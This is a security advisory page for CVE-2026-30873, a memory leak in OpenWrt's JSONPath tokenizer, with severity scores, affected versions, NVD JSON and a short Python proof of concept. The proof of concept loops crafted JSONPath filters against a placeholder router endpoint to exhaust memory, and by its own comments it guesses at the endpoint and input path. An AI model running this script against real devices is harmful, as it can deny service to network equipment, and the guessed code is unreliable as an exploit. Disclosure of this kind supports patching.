Security Vulnerability Report
中文
CVE-2026-30873 CVSS 4.9 MEDIUM

CVE-2026-30873

Published: 2026-03-19 22:16:32
Last Modified: 2026-03-24 14:11:53

Description

OpenWrt Project is a Linux operating system targeting embedded devices. In versions prior to both 24.10.6 and 25.12.1, the jp_get_token function, which performs lexical analysis by breaking input expressions into tokens, contains a memory leak vulnerability when extracting string literals, field labels, and regular expressions using dynamic memory allocation. These extracted results are stored in a jp_opcode struct, which is later copied to a newly allocated jp_opcode object via jp_alloc_op. During this transfer, if a string was previously extracted and stored in the initial jp_opcode, it is copied to the new allocation but the original memory is never freed, resulting in a memory leak. This issue has been fixed in versions 24.10.6 and 25.12.1.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:openwrt:openwrt:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:*:*:*:*:*:*:*:* - VULNERABLE
OpenWrt < 24.10.6
OpenWrt < 25.12.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-30873 # This script demonstrates how to trigger the memory leak by sending # crafted JSONPath expressions to a vulnerable OpenWrt instance. import requests def trigger_memory_leak(target_url, payload): """ Sends a malicious payload to the target to trigger the memory leak. """ headers = { "Content-Type": "application/json" } # Note: Actual endpoint depends on the specific OpenWrt service using the vulnerable library. # This is a generic example. data = { "filter": payload # Assuming the input goes to the vulnerable jp_get_token function } try: response = requests.post(target_url, json=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Request failed: {e}") if __name__ == "__main__": # Crafted payload containing string literals to trigger allocation in jp_get_token # Repeated complex regex or strings increase the leak rate. malicious_payload = "$.store.book[?(@.category == 'leak_test_string_literal')]" # Replace with actual vulnerable endpoint target = "http://<target-ip>/cgi-bin/luci/admin/vulnerable-endpoint" print("Sending payload to trigger memory leak...") for i in range(100): trigger_memory_leak(target, malicious_payload + str(i))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30873", "sourceIdentifier": "[email protected]", "published": "2026-03-19T22:16:31.950", "lastModified": "2026-03-24T14:11:53.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenWrt Project is a Linux operating system targeting embedded devices. In versions prior to both 24.10.6 and 25.12.1, the jp_get_token function, which performs lexical analysis by breaking input expressions into tokens, contains a memory leak vulnerability when extracting string literals, field labels, and regular expressions using dynamic memory allocation. These extracted results are stored in a jp_opcode struct, which is later copied to a newly allocated jp_opcode object via jp_alloc_op. During this transfer, if a string was previously extracted and stored in the initial jp_opcode, it is copied to the new allocation but the original memory is never freed, resulting in a memory leak. This issue has been fixed in versions 24.10.6 and 25.12.1."}, {"lang": "es", "value": "OpenWrt Project es un sistema operativo Linux dirigido a dispositivos embebidos. En versiones anteriores a ambas 24.10.6 y 25.12.1, la función jp_get_token, que realiza análisis léxico dividiendo las expresiones de entrada en tokens, contiene una vulnerabilidad de fuga de memoria al extraer literales de cadena, etiquetas de campo y expresiones regulares utilizando asignación dinámica de memoria. Estos resultados extraídos se almacenan en una estructura jp_opcode, que se copia posteriormente a un objeto jp_opcode recién asignado mediante jp_alloc_op. Durante esta transferencia, si una cadena fue previamente extraída y almacenada en el jp_opcode inicial, se copia a la nueva asignación pero la memoria original nunca se libera, resultando en una fuga de memoria. Este problema ha sido corregido en las versiones 24.10.6 y 25.12.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.10.6", "matchCriteriaId": "12B5818C-BB4D-4486-9C53-7FCA8EF2EDA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.12.0", "versionEndExcluding": "25.12.1", "matchCriteriaId": "061FA3CA-10C0-4EF2-8566-E623964CAE79"}]}]}], "references": [{"url": "https://github.com/openwrt/openwrt/releases/tag/v24.10.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/openwrt/openwrt/releases/tag/v25.12.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/openwrt/openwrt/security/advisories/GHSA-rcc6-v4r6-gj4m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}